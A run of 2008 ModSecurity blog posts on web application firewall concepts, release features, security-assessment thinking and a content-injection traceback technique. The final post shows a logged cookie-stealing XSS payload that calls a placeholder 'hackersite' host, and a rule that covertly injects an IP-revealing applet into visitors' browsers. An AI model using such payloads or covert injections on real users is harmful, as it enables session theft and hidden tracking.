      • Connection - corresponds to one TCP connection.
      • Request - corresponds to one HTTP request.
      • Response - corresponds to one HTTP response.
      • IP Address - the IP address of the client, retrieved from the TCP connection.
      • Session - application session.
      • User - authenticated user; in most cases this translates to the application user, but some sites still use HTTP authentication, and some might use both.
      • Site - perhaps more accurately called Protection domain, or Application. None of these terms is perfect, but I generally prefer to use Site. In our model, Site refers either to the functionality behind an entire domain name (e.g. www.example.com), or only a subset of one (www.example.com/forums/).
      • Country - the country where the request originates.
      • City - the city where the request originates.
      • Custom - any number of custom attributes. For example, you might want to have different policies for different departments within your organisation. To achieve this, you will map client IP addresses to department names, which you will then use to determine policies.

      Most of the components are easy to construct, mapping from the structures used in programming, but there are a few places where the technology does not support the view, or where what we are given is not what we want to see:

      • Some work is needed to be able to distinguish sessions. There are different session identifier techniques to consider (e.g. in the URI, in a parameter, in a cookie). While there is a number of platforms that have standardised session management, there is also a large number of applications using their own schemes, so in general some custom work will be needed.
      • More so in the case of user identification. Building on session identification one needs to identify a successful login event in the traffic in order to determine the session username.
      • The IP address may not be accurate. It may be that of an intermediary, and not of the client itself. Such cases can sometimes be identified (as is the case with HTTP proxies) , but not always (e.g. if a transparent HTTP proxy is used). The problem is that, unless you control the proxy, you can only rely on the IP address you got from the TCP stack; the information extracted from HTTP requests headers is not to be trusted.

      Note: This post is part of the Web Application Firewall Concepts series.

      ]]>       http://www.modsecurity.org/blog/archives/2008/03/web_application_6.html http://www.modsecurity.org/blog/archives/2008/03/web_application_6.html Web Security Thu, 27 Mar 2008 12:10:22 +0000       Web Application Firewall Use Case: Continuous Security Assessment After some deliberation, I have decided to add Continuous security assessment as a standalone item on my web application firewall use cases list. Although some could argue the functionality is already covered in the Web intrusion detection and prevention section, it is not obvious—you have to understand this field in order to know it is there.

      Continuous security assessment is not specific to web application firewalls—it's been used for the network layer for years—but web application firewalls are more useful for web applications (than IDS tools are for network applications), simply because there's essentially one data format to analyse (if you can call a bunch of loosely related specifications used by web applications "one" data format). With web applications, you get to see clear picture of application input and output. Therefore, with proper parsing and analysis in place, it's almost like having a direct communication channel with the application itself.

      The focus here is not on the attacks and other suspicious client behaviour, which comes out of the stock IDS/IPS functionality, but on everything else:

      • application defects,
      • information leakage,
      • configuration errors,
      • change control

      and so on. The advantage is that you can detect some very subtle issues, only possible because of the depth of analysis.

      Just as an extreme example, there are quite a few web applications out there where SQL injection (less often) and XSS (surprisingly common) exist by design—their clients are allowed and expected to send such low-level stuff and have it executed by the server. These types of problem can be detected early and with little effort, and because assessment never stops, you get the alert as soon as they are manifested.

      Note: This post is part of the Web Application Firewall Concepts series.

      ]]>       http://www.modsecurity.org/blog/archives/2008/03/web_application_5.html http://www.modsecurity.org/blog/archives/2008/03/web_application_5.html Web Security Wed, 19 Mar 2008 14:42:00 +0000       Web Application Firewall Use Cases There are many reasons to use a web application firewall. Most people tend to focus on prevention and blocking when the term is brought up, but that is just one of the possible uses. Three years ago, almost to the day, I wrote this post to argue how one needs a WAF to serve as a part of the overall defence strategy. My opinion remains unchanged today, but I have since expanded the list of use cases for web application firewalls. Here they are:

      1. Web intrusion detection and prevention. Applying the principles of external traffic monitoring (IDS) and prevention (IPS) to HTTP and the related technologies, which are used to build web applications. Through your WAF you will look for signs of generic web application attacks (negative security model), or deploy a learning engine to construct a model of your site and reject all invalid traffic, not just attacks (also known as positive security model).
      2. Continuous security assessment. The idea with this case is to emphasize the fact web application firewalls actually understand web applications pretty well. Armed with this knowledge, they can do more than detect attacks; they can observe from signs of weaknesses, information leaks, configuration errors, and similar problems before an attempt to exploit them is made.
      3. Virtual (or just-in-time) patching. When you need to deal with a specific problem in your web site, which exists either in your code or in the code of the product you are relying on. The focus in this use case is on writing custom rules to deal with custom issues.
      4. HTTP traffic logging and monitoring. Do you know what is actually going on in your web applications? Who are your users and how are they using your systems? Are you being attacked and how?
      5. Network building blocks. This use case is not often a primary motivator for WAF deployment, but if you're already deploying a reverse proxy to serve as a HTTP switch/router, making the device security-aware is the way to go.
      6. Web application hardening. If you deploy your WAF as a reverse proxy then you can get it to modify the traffic stream to fix some of the design faults of your application or the HTTP protocol.

      I will expand on each use case in my future posts.

      Note: This post is part of the Web Application Firewall Concepts series.

      ]]>       http://www.modsecurity.org/blog/archives/2008/03/web_application_4.html http://www.modsecurity.org/blog/archives/2008/03/web_application_4.html Web Security Mon, 10 Mar 2008 16:20:43 +0000       Web Application Firewall Concepts I went through all my ModSecurity Blog posts yesterday, partly to admire myself for blogging consistently for almost 5 years and partly to understand what is that I talked about during this time. While I knew that most of my posts were pretty technical (after all, I did start my new blog to focus on other things) imagine my surprise when I realised I didn't properly cover the one thing this blog is supposed to cover: web application firewalls! The emphasize is on the word "properly": I provided a great deal of technical information but not enough content that would explain why one would deploy a web application firewall and how. This stuff had went into my conference talks and the Web Application Firewall Evaluation Criteria project, but I forgot to discuss the topics here.

      In an effort to fix this I am starting a series of blog posts called Web Application Firewall Concepts. Each post will be reasonably brief and cover one aspect of the technology, and I will continually update this post to serve as a table of contents.

      Posts in this series:

      1. Use Cases
        1. Web intrusion detection and prevention
        2. Continuous Security Assessment
        3. Virtual (or just-in-time) patching
        4. HTTP traffic logging and monitoring
        5. Network building blocks
        6. Web application hardening
      2. Deployment models
        1. Inline
        2. Out of line
        3. Embedded
      3. Data Model
        1. Model construction
        2. Persisting information across requests
        3. Distinguishing sessions
        4. Distinguishing users
      4. Analysis Model
        1. Negative security
        2. Positive security
        3. Anomaly scoring
        4. Learning
        5. Evasion
        6. Impedance mismatch
      5. Traffic logging
      6. Special protection techniques
        1. Cookie protection
        2. Cross-Site Request Forgery
        3. Brute force attacks
        4. Denial of Service attacks
        5. PDF UXSS protection
      ]]>       http://www.modsecurity.org/blog/archives/2008/03/web_application_3.html http://www.modsecurity.org/blog/archives/2008/03/web_application_3.html Web Security Mon, 10 Mar 2008 15:38:05 +0000       ModSecurity User Survey With the release of ModSecurity 2.5 yesterday, this seemed like the perfect time to get feedback from the user community. The 2.5 release is important as it has included many features that were identified by the user community, so this highlights the need for us (Breach) to have a full understanding of how people are using ModSecurity and any challenges you all are facing.

      With this in mind, we have put together the first ModSecurity User Survey.

      I urge everyone to please take about 5 minutes and fill out the survey. With this information, we will be able to map out areas where we need to focus research and development to both the ModSecurity code itself, but also with the rule sets and supporting tools.

      We will leave the survey open until the end of March.

      Thanks for your time everyone.

      ]]>       http://www.modsecurity.org/blog/archives/2008/02/modsecurity_use.html http://www.modsecurity.org/blog/archives/2008/02/modsecurity_use.html ModSecurity Fri, 22 Feb 2008 16:12:50 +0000       ModSecurity 2.5 Released The final version of ModSecurity 2.5.0, the long awaited next stable version of ModSecurity, is now available. This release offers quite a few new features: set-based matching, a wider variety of string matching operators, transformation caching, support for writing rules as Lua scripts, credit card number validation, enhanced means for maintaining and customizing third party rulesets, and quite a few other features. Take a look at the main website to see a summary of the new features.

      Getting ModSecurity

      As always, send questions/comments to the community support mailing list. You can download the latest releases, view the documentation and subscribe to the mailing list at www.modsecurity.org.

      Building ModSecurity 2.5

      The documentation has been updated with a new build process for 2.5. The new process uses the typical 'configure', 'make' and 'make install' approach instead of having to hand edit a Makefile as in previous releases. This approach allows for a generally easy build for those with libraries in standard locations, but also some flexibility for those with unique systems. You can take a look at more details in the installation section of the documentation.

      ]]>       http://www.modsecurity.org/blog/archives/2008/02/modsecurity_25_1.html http://www.modsecurity.org/blog/archives/2008/02/modsecurity_25_1.html ModSecurity Wed, 20 Feb 2008 22:53:03 +0000       Web Hacking Incidents Database Annual Report for 2007 Breach Labs which sponsors WHID has issued an analysis of the Web Hacking landscape in 2007 based on the incidents recorded at WHID. It took some time as we added the new attributes introduced lately to all 2007 incidents and mined the data to find the juicy stuff:

      • The drivers, business or other, behind Web hacking.
      • The vulnerabilities hackers exploit.
      • The types of organizations attacked most often.

      To be able to answer those questions, WHID tracks the following key attributes for each incident:

      • Attack Method - The technical vulnerability exploited by the attacker to perform the hack.
      • Outcome - the real-world result of the attack.
      • Country - the country in which the attacked web site (or owning organization) resides.
      • Origin - the country from which the attack was launched.
      • Vertical - the field of operation of the organization that was attacked.
      Key findings were:
      • 67% percent of the attacks in 2007 were "for profit" motivated. Ideological hacking came second.
      • With 20%, good old SQL injections dominated as the most common techniques used in the attacks. XSS finished 4th with 12 percent and the young and promising CSRF is still only seldom exploited out there and was included in the "others" group.
      • Over 44% percent of incidents were tied to non-commercial sites such as Government and Education. We assume that this is partially because incidents happen more in these organizations and partially because these organizations are more inclined to report attacks.
      • On the commercial side, internet-related organizations top the list. This group includes retail shops, comprising mostly e-commerce sites, media companies and pure internet services such as search engines and service providers. It seems that these companies do not compensate for the higher exposure they incur, with proper security procedures.
      • In incidents where records leaked or where stolen the average number of records affected was 6,000.
      The full report can be found at Breach Security Network.

      ]]>       http://www.modsecurity.org/blog/archives/2008/02/web_hacking_inc.html http://www.modsecurity.org/blog/archives/2008/02/web_hacking_inc.html Web Security Sun, 17 Feb 2008 22:11:01 +0000       Tangible ROI of a Web Application Firewall (WAF) One of the challenges facing organizations that need to increase the security of their web applications is to concretely provide appropriate "Return On Investment" (ROI) for procurement justification. Organizations can only allocate a finite amount of budget towards security efforts therefore security managers need to be able to justify any commercial services, tools and appliances they want to deploy. As most people who have worked in information security for an extended period of time know, producing tangible ROI for security efforts that address business driver needs is both quite challenging and critically important.

      The challenge for security managers is to not focus on the technical intricacies of the latest complex web application vulnerability or attack. C-level Executives do not have the time, and in most instances the desire, to know the nuances of an HTTP Request Smuggling attack. That is what they are paying you for! Security managers need to function as a type of liaison where they can take data from the Subject Matter Experts (SMEs) and then translate that into a business value that is important to the C-level Executive.

      One, almost guaranteed, pain point to most executives are vulnerability scan reports that are presented by auditors. The auditors are usually being brought in from and reporting to a higher-level third party (be it OMB in the Government or PCI for Retail). Executives like to see "clean vulnerability scan reports." While this will certainly not guarantee that your web application is 100% secure, it can certainly help to prove the counter-argument. And to make matters worse, nothing is more frustrating to upper Management than auditor reports list repeat vulnerabilities that either never go away or pull the "Houdini" trick (they disappear for awhile only to suddenly reappear). Sidebar - see Jeremiah Grossman's Blog post for examples of this phenomenon. These situations are usually attributed to breakdowns in the Software Development Life Cycle (SDLC) where code updates are too time consuming or the change control processes are poor.

      This is one of the best examples of where a Web Application Firewall can prove its ROI.

      At Breach Security, we receive many inbound calls from prospects who are interested in WAF technology but are lacking that "Big Stick" that helps convince upper management to actually make the purchase. The best scenario we have found is to suggest a "Before and After" comparison of a vulnerability scan report while they are testing the WAF on their network. The idea is to deploy the WAF in block mode and then initiate a rescan of a protected site. The difference in the reduction of findings is an immediate, quantitative ROI.

      Here is a real example. One of our current customers followed this exact roadmap and this is a summary (slightly edited to remove sensitive information) of the information they sent back to us:

      Our WAF is installed and running. I have tested its impact on www.example.com and it is operating very admirably. This morning I had the vulnerability scanning team run an on-demand scan to test the efficacy of the appliance, and I was very impressed with the results. Our previous metrics for www.example.com in the last scan were 64 vulnerabilities, across all outside IP addresses (including www.example.com, example2.com, example3.com, etc.) and with the Breach appliance in place, the metric from today's scan was 5 vulnerabilities, with details:

      - High vulnerabilities dropped from 38 to 0
      - Medium vulnerabilities dropped from 12 to 0
      - 1 low vulnerability remains due to simply running a web server (we will eliminate this via exception)
      - 1 low vulnerability due to a file/folder naming convention that is typical and attracts unwanted attacks (will be eliminated via rule addition)

      Bear in mind that I have applied the appliance with a basic (almost strictly out-of-the-box) configuration and ruleset to protect only www.example.com (192.168.1.100 in the report), and the 35 warnings that remain are for the other websites, and would similarly disappear when protected by the appliance. In my opinion, this was a very successful test that indicates the effectiveness of the appliance.

      So, looking at the report after the WAF was in place, the www.example.com web site removed 38 high and 12 medium vulnerabilities and left only 2 low ones (which are really just informational notices). That is pretty darn good and that was just with the default, generic detection ModSecurity rule set! Hopefully this information has helped to provide a possible use-case testing scenario to show tangible ROI of a WAF.

      In a future post, I will discuss how custom WAF rule sets can be implemented to address more complex vulnerability issues identified not by a scanner but by actual people who have performed a web assessment/pentest.

      ]]>       http://www.modsecurity.org/blog/archives/2008/02/tangible_roi_of.html http://www.modsecurity.org/blog/archives/2008/02/tangible_roi_of.html Web Security Fri, 01 Feb 2008 17:06:28 +0000       Is Your Website Secure? Prove It. The recent Geeks.com compromise and subsequent articles have created a perfect storm of discussion topics and concerns related to web security. The underlying theme is that true web security encompasses much more than a Nessus scan from an external company.

      The concepts (and much of the text) in this post are taken directly from a blog post by Richard Bejtlich on his TaoSecurity site. I have simply tailored the concepts specifically to web security. Thanks goes to Richard for always posting thought provoking items and making me look at web security through a different set of eyes. You know what they say about imitation ;)

      The title of this post form the core of most of my recent thinking on web application security. Since I work for a commercial web application firewall company and am the ModSecurity Community Manager, I often get the chance to talk with people about web application security. While I am not a "sales" guy, I do hang out at our vendor booth when we are at conferences. I am mainly there to field technical questions and just interact with people. I have found that the title of this post is actually one of the absolute best questions to ask someone when they first come up to our booth. It always sparks interesting conversation and can shed light onto specific areas of strength and weakness.

      What does it mean to be secure?

      Obviously having logos posted on a web site that tout "we are secure" is really just a marketing tactic aimed to re-assure potential customer that it is safe to purchase goods at their site. The reality is that these logos are non-reliable and make no guarantee as to the real level of security offered by the web site. At best, they are an indication that the web site has met some sort of minimum standard. But that is a far cry from actually being secure.

      Let me expand "secure" to mean the definition Richard provided in his first book: Security is the process of maintaining an acceptable level of perceived risk. He defined risk as the probability of suffering harm or loss. You could expand my six word question into are you operating a process that maintains an acceptable level of perceived risk for your web application?

      Let's review some of the answers you might hear to this question. I'll give an opinion regarding the utility of the answer as well. For the purpose of this exercise let's assume it is possible to answer "yes" to this question. In other words, we just don't answer "no." We could all make arguments as to why it's impossible to be secure, but does that really mean there is no acceptable level of perceived risk in which you could operate? I doubt it. Let's take a look at the varios levels of responses.

      So, is your website secure? Prove it.

      1. Yes.

      Then, crickets (i.e., silence for you non-imaginative folks.) This is completely unacceptable. The failure to provide any kind of proof is security by belief. We want security by fact. Think of it this way, would auditors accept this answer? Could you pass a PCI Audit by simply responding yeah, we are secure. Nope, you need to provide evidence.

      2. Yes, we have product X, Y, Z, etc. deployed.

      This is better, but it's another expression of belief and not fact. The only fact here is that technologies can be abused, subverted, and broken. Technologies can be simultaneously effective against one attack model and completely worthless against another.

      This also reminds me of another common response I hear and that is - yes, we are secure because we use SSL. Ugh... Let me share with you one personal experience that I had with an "SSL Secured" website. Awhile back, I decided to make an online purchase of some herbal packs that can be heated in the microwave and used to treat sore muscles. When I visited the manufacturer's web site, I was dutifully greeted with a message "We are a secure web site! We use 128-bit SSL Encryption." This was reassuring as I obviously did not want to send my credit card number to them in clear text. During my checkout process, I decided to verify some general SSL info about the connection. I double-clicked on the "lock" in the lower-right hand corner of my web browser and verified that the domain name associated with the SSL certificate matched the URL domain that I was visiting, that it was signed by a reputable Certificate Authority such as VeriSign, and, finally, that the certificate was still valid. Everything seemed in order so I proceeded with the checkout process and entered my credit card data. I hit the submit button and was then presented with a message that made my stomach tighten up. The message is displayed next; however, I have edited some of the information to obscure both the company and my credit card data.

      The following email message was sent:

      To:companyname@aol.com
From: RCBarnett@email.com
Subject:ONLINE HERBPACK!!!
name: Ryan Barnett
address: 1234 Someplace Ct.
city: Someplace
state: State
zip: 12345
phone#:
Type of card: American Express
name on card: Ryan Barnett
card number: 123456789012345
expiration date: 11/05
number of basics:
Number of eyepillows:
Number of neckrings: 1
number of belted: 1
number of jumbo packs:
number of foot warmers: 1
number of knee wraps:
number of wrist wraps:
number of keyboard packs:
number of shoulder wrap-s:
number of cool downz:
number of hats-black:         number of hats-gray:
number of hats-navy:         number of hats-red:
number of hats-rtcamo:         number of hats-orange:
do you want it shipped to a friend:
name:
their address:
their city:
their state:
their zip:
  
cgiemail 1.6

      I could not believe it. It looked as though they had sent out my credit card data in clear-text to an AOL email account. How could this be? They were obviously technically savvy enough to understand the need to use SSL encryption when clients submitted their data to their web site. How could they then not provide the same due diligence on the back-end of the process?

      I was hoping that I was somehow mistaken. I saw a banner message at the end of the screen that indicated that the application used to process this order was called "cgiemail 1.6." I therefore hopped on Google and tried to track down the details of this application. I found a hit in Google that linked to the cgiemail webmaster guide. I quickly reviewed the contents and found what I was looking for in the "What security issues are there?" section:

      Interception of network data sent from browser to server or vice versa via network eavesdropping. Eavesdroppers can operate from any point on the pathway between browser and server.

      Risk: With cgiemail as with any form-to-mail program, eavesdroppers can also operate on any point on the pathway between the web server and the end reader of the mail. Since there is no encryption built into cgiemail, it is not recommended for confidential information such as credit card numbers.

      Shoot, just as I suspected. I then spent the rest of the day contacting my credit card company about possible information disclosure and to place a watch on my account. I also contacted the company by sending an email to the same AOL address outlining the security issues that they needed to deal with. To summarize this story: Use of SSL does not a "secure site" make.

      3. Yes, we are PCI compliant.

      Generally speaking, regulatory compliance is usually a check-box paperwork exercise whose controls lag attack models of the day by one to five years, if not more. PCI is somewhat of an exception as it attempts to be more operationally relevant and address more current web application security issues. While there are some admirable aspects of PCI, please keep this mantra in mind -

      It is much easier to pass a PCI audit if you are secure than to be secure because you pass a PCI audit.

      PCI, like most other regulations, are a minimum standard of due care and passing the audit does make your site "unhackable." A compliant enterprise is like feeling an ocean liner is secure because it left dry dock with life boats and jackets. If regulatory compliance is more than a paperwork self-survey, we approach the realm of real of evidence. However, I have not seen any compliance assessments which measure anything of operational relevance. Check out Richard's Blog posts on Control-Compliant security for more details on this concept and why it is inadequate. What we really need is more of a "Field-Assessed" mode of evaluation. I will discuss this concept more in depth in future Blog posts.

      4. Yes, we have logs indicating we prevented web attacks X, Y, and Z (SQL Injection, XSS, etc...).

      This is getting close to the right answer, but it's still inadequate. For the first time we have some real evidence (logs) but these will probably not provide the whole picture. I believe that how people deploy and use a WAF is critical. Most people deploy a WAF in an "alert-centric" configuration which will only provide logs when a rule matches. Sure, these alert logs indicate what was identified and potentially stopped, but what about activities that were allowed? Were they all normal, or were some malicious but unrecognized by the preventative mechanism? Deploying a WAF as an HTTP level auditing device is a highly under-utilized deployment option. There is a great old quote that sums up this concept -

      "In an incident, if you don't have good logs (i.e. auditing), you'd better have good luck."

      5. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns.

      Some would call this rationale the definition of security. Whether or not this answer is acceptable depends on the nature of the indications. If you have no indications because you are not monitoring anything, then this excuse is hollow. If you have no indications and you comprehensively track the state of a web application, then we are making real progress. That leads to the penultimate answer, which is very close to ideal.

      6. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations.

      This is really close to the correct answer. The absence of indications of intrusion is only significant if you have some assurance that you've properly instrumented and understood the web application. You must have trustworthy monitoring systems in order to trust that a web application is "secure." The lack of robust audit logs is usually the reason why organizations can not provide this answer. Put it this way, Common Log Format (CLF) logs are not adequate for full web based incident responst. Too much data is missing. If this is really close, why isn't it correct?

      7. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations. We regularly test our detection and response people, processes, and tools against external adversary simulations that match or exceed the capabilities and intentions of the parties attacking our enterprise (i.e., the threat).

      Here you see the reason why number 6 was insufficient. If you assumed that number 6 was OK, you forgot to ensure that your operations were up to the task of detecting and responding to intrusions. Periodically you must benchmark your perceived effectiveness against a neutral third party in an operational exercise (a "red team" event). A final assumption inherent in all seven answers is that you know the assets you are trying to secure, which is no mean feat. Think of this practical exercise, if you run a zero-knowledge (meaning un-announced to operations staff) web application penetration test, how does your organization respond? Do they even notice the penetration attempts? Do they report it through the proper escalation procedures? How long does it take before additional preventative measures are employed? Without answers to this type of "live" simulation, you will never truly know if your monitoring and defensive mechanisms are working.

      Conclusion

      Indirectly, this post also explains why only doing one of the following: web vulnerability scanning, penetration testing, deploying a web application firewall and log analysis does not adequately ensure "security." While each of these tasks excel in some areas and aid in the overall security of a website, they are each also ineffective in other areas. It is the overall coordination of these efforts that will provide organizations with, as Richard would say, a truly "defensible web application."

      ]]>       http://www.modsecurity.org/blog/archives/2008/01/is_your_website.html http://www.modsecurity.org/blog/archives/2008/01/is_your_website.html Web Security Wed, 30 Jan 2008 12:45:08 +0000       ModSecurity 2.5 Status The ModSecurity 2.5 release is scheduled for early/mid February. With the ModSecurity 2.5 release just around the bend, I have been spending my time doing a lot of testing, tweaking and polishing. I would like ModSecurity 2.5 and the core rule set (or any of the commercial rule sets Breach offers) to be easier to integrate into your environment. Ofer Shezaf and Avi Aminov are hard at work developing and tuning the core rule sets. Along with this comes requests from them for features to make integration and configuration easier. Because of this, I have included a few new features in ModSecurity 2.5 to make things easier for rule set authors. What this means is that it is time for the next release candidate of ModSecurity 2.5, 2.5.0-rc2. This release focuses primarily on making generic rule sets (such as the core rule set) easier to configure and customize for your sites.

      Taming the Rule Set

      ModSecurity does not give you much without a good rule set. However, good rule sets are time consuming to develop and require a lot of testing and tuning. More people benefit from a generic rule set, but these can be time consuming to customize for your sites while still allowing an easy upgrade path when new rule sets are released. For those of you who keep track of the community mailing list, you have undoubtedly seen the many false positive comments and requests for help getting generic rules to fit in a custom environment. A generic rule set will not work for everyone out of the box and will need to be tailored to fit. But tailoring can mean local modifications. And that may mean a lot of extra time spent retesting and reapplying modifications when it comes time to upgrade the rule set. Ryan Barnett has some excellent articles on how to deal with modifying a rule set in the least intrusive manner. However, I want to introduce some new functionality I have added to ModSecurity 2.5 to help deal with customizing rule sets without actually touching the rules -- making upgrades easier and require less time.

      One of the biggest concerns over a generic third party rule set is that of policy. To block or not to block, that is the question. Some installers preferred just logging, others blocking via HTTP 403, some via HTTP 500, others preferred dropping the connection altogether with a TCP reset. In past versions of ModSecurity, this usually meant rule set authors had to include two versions of their rules, one for logging only and another for blocking. If this was not done, then the rule set installer would have to manually change all the actions in a rule set if not to the installer's liking. With ModSecurity 2.5, this blocking decision can now more easily be that of the rule set installer instead of the rule set author.

      A new "block" action has been added to ModSecurity 2.5 to allow a rule set to specify where blocking is intended, but not actually specifying how to perform the blocking. The how is left up to the rule set installer, including the choice of not blocking at all. Currently this is done via inheritance (existing SecDefaultAction directive), but is also enhanced via the new SecRuleUpdateActionById directive. Future versions of ModSecurity will make this even more flexible.

      Take the following rule set as an example. This will deny and log any request not a GET, POST or HEAD. So, things like PUT, TRACE, etc. will be denied with an HTTP 500 status even though the installer specified a default of "pass".

      # Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "phase:1,t:none,deny,status:500"

      With the new "block" action, this could be rewritten as in the following example. In this example the blocking action is, well, not to block ("pass" specified in the SecDefaultAction). This could easily be changed by the installer to "deny,status:501", "drop", "redirect:http://www.example.tld/", etc. The important thing to note here is that the installer is making the choice, not the rule set author.

      # Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "phase:1,t:none,block"

      So now some of you are (or maybe should be) questioning how this new "block" action differs from just not explicitly specifying a disruptive action in the rule to begin with and just letting the inheritance work as designed. Well, there is not really that much different at first glance. The named action is a little bit cleaner to read, but there are really two main differences. The first is that future versions of ModSecurity can expand on how you define and customize "block" in more detail. The second reason lies in what "block" is doing. It is explicitly reverting back to the default disruptive action, which leads into the next new feature.

      Let me start off with another example (okay, it is the same example, but it is easy to follow). Below, there is no way to change the disruptive action other than editing the third party rule in place or replacing the rule with a local copy. The latter is better for maintenance, but it means keeping a local copy of the rule around which may require maintenance during a rule set upgrade.

      # Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,deny,status:500"

# Replace with a local copy of the rule
SecRuleRemoveById 1
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,pass"

      With ModSecurity 2.5, you can instead update the action to make it do something else. This is done via the new SecRuleUpdateActionById directive. It has the added benefit where if the third party rule set is upgraded later on (provided the id is the same, which it should be - hint) there is no editing required for the local copy of the customization. In fact, there is no local copy to edit at all.

      # Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,deny,status:500"

# Update the default action explicitly
SecRuleUpdateActionById 1 "pass"

      You should notice in the last example that what I did was to change the third party rule back to what I originally specified in the SecDefaultAction. If only there was a way to just tell the rule to use the default. This is where the second reason for "block" comes into play (thought I forgot about that, eh). Instead of explicitly specifying the disruptive action, you can just specify it as "block" and it will instead force the rule to revert back to the last default action. In this example that is a "pass". This is just as if the rule author had specified "block" instead of "deny".

      # Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,deny,status:500"

# Revert the rule back to the default disruptive action, "pass"
SecRuleUpdateActionById 1 "block"

      The new SecRuleUpdateActionById directive is not limited to only disruptive actions. You can update nearly any action. The only imposed limit is that you may not change the ID of a rule. However, some care should be taken for actions that are additive (transformations, ctl, setvar, etc.) as these actions are not replaced, but appended to. For transformations, however, you can "replace" the entire transformation chain by specifying "t:none" as the first transformation in the update (just as you would when inheriting from SecDefaultAction).

      New Build Method and Automated Tests

      Another big change in this release is the build process. ModSecurity 2.5 is now built with a more automated method. No more editing a Makefile. Instead, a configure script was added to automate the creation of a Makefile by searching for the location of all dependencies. Additionally, I added a number of automated tests to ensure operators and transformations are working as expected (executed via "make test").

      # Typical build proceedure is now:
./configure
make
make test
sudo make install

      Other Notable Changes in this Release

      There are a few other minor additions and changes in this second release candidate as well.

      • The mlogc tool is now included with the ModSecurity 2.5 source.
      • To help reduce assumptions, the default action is now a minimal "phase:2,log,pass" with no default transformations performed.
      • A new SecUploadFileMode directive is available to explicitly set the file permissions for uploaded files. This allows easier integration with external analysis software (virus checkers, etc.).
      • To help reduce the risk of logging sensitive data, the query string is no longer logged in the error log.
      • Miscellaneous fixes for removing rules via SecRuleRemoveBy* directives.

      How You Can Help

      As you can see there are a lot of new features and enhancements in ModSecurity 2.5. I hope to see some good feedback from the release candidates so that we can get ModSecurity 2.5 polished up and the stable 2.5.0 available as soon as possible. Installing and testing in your environment is a great help, but there are other ways you can help.

      • Read through and give suggestions for improvements to the documentation.
      • Run through the new build/install procedure and give suggestions on how it can be improved.
      • Tell us how you are using ModSecurity and where your biggest challenges are and where you might be hitting limitations.

      Getting ModSecurity

      As always, send questions/comments to the community support mailing list. You can download the latest releases, view the documentation and subscribe to the mailing list at www.modsecurity.org.

      ]]>       http://www.modsecurity.org/blog/archives/2008/01/modsecurity_25.html http://www.modsecurity.org/blog/archives/2008/01/modsecurity_25.html ModSecurity Wed, 30 Jan 2008 11:14:09 +0000       Content Injection Use Case Example ModSecurity 2.5 introduces a really cool, yet somewhat obscure feature called Content Injection. The concept is pretty interesting as it allows you to inject any text data that you want into the response bodies of your web application.

      Identifying Real IP Addresses of Web Attackers

      One of the biggest challenges of doing incident response during web attacks is to try and trace back the source IP address information to identify the "real" attacker's computer. The reason why this is so challenging is that attackers almost always loop their attacks through numerous open proxy servers or other compromised hosts where they setup connection tunnels. This means that the actual IP address that shows up in the victims logs is most likely only the last hop in between the attacker and the target site. One way to try and tackle this problem is instead of relying on the TCP-IP address information of the connection, we attempt to handle this at the HTTP layer.

      Web security researches (such as Jeremiah Grossman) have conducted quite a bit research in area of how blackhats can send malicious javascript/java to clients. Once the code executes, it can obtain the client's real (internal NAT) IP address. With this information, the javascript code can do all sorts of interesting stuff such as port scan the internal network. In our scenario, the client is not an innocent victim but instead a malicious client who is attacking our site. The idea is that this code that we send to the client will execute locally, grab their real IP address and then post the data back to a URL location on our site. With this data, we can then perhaps initiate a brand new incident response engagement focusing in on the actual origin of the attacks!

      The following rule uses the same data as the previous example, except this time, instead of simply sending an alert pop-up box we are sending the MyAddress.class java applet. This code will force the attacker's browser to initiate a connection back to our web server.

      SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:'<APPLET CODE=\"MyAddress.class\" MAYSCRIPT WIDTH=0 HEIGHT=0>
<PARAM NAME=\"URL\" VALUE=\"grab_ip.php?IP=\">
<PARAM NAME=\"ACTION\" VALUE=\"AUTO\"></APPLET>'" 
SecRule RESPONSE_CONTENT_TYPE "^text/html"

      So, if an attacker sends a malicious request that ModSecurity triggers on, this rule will then fire and it will send the injected code to the client. Our Apache access_logs will show data similar to this:

      203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/foo.cgi?param=<script>document.write('<img%20
src="http://hackersite/'+document.cookie+'"')</script> HTTP/1.1" 500 676 
203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/grab_ip.php?IP=222.141.50.175 HTTP/1.1" 404 207

      As you can see, even though the IP address in the access_logs shows 203.160.1.47, the data returned in the QUERY_STRING portion of the second line shows that the real IP address of the attacker is 222.141.50.175. This would mean that in this case, the attacker's system was not on a private network (perhaps just connecting their computer directly to the internet). In this case, you would be able to obtain the actual IP of an attacker who was conducting a manual attack with a browser.

      Attacker -> Proxy -> ... -> Proxy -> Target Website.
    ^                         ^
222.141.50.175           203.160.1.47

      Caveats

      Internal LAN

      This example is extremely experimental. As the previous section indicates, if the attacker were behind a router (on a private LAN) then the address range would have probably been in the 192.169.xxx.xxx range. 

      Attacker -> Firewall/Router -> ... -> Proxy -> Target Website.
    ^                                   ^
192.168.1.100                      203.160.1.47

      This type of data would not be as useful for our purposes as it wouldn't help for a traceback.

      Non-Browser Clients

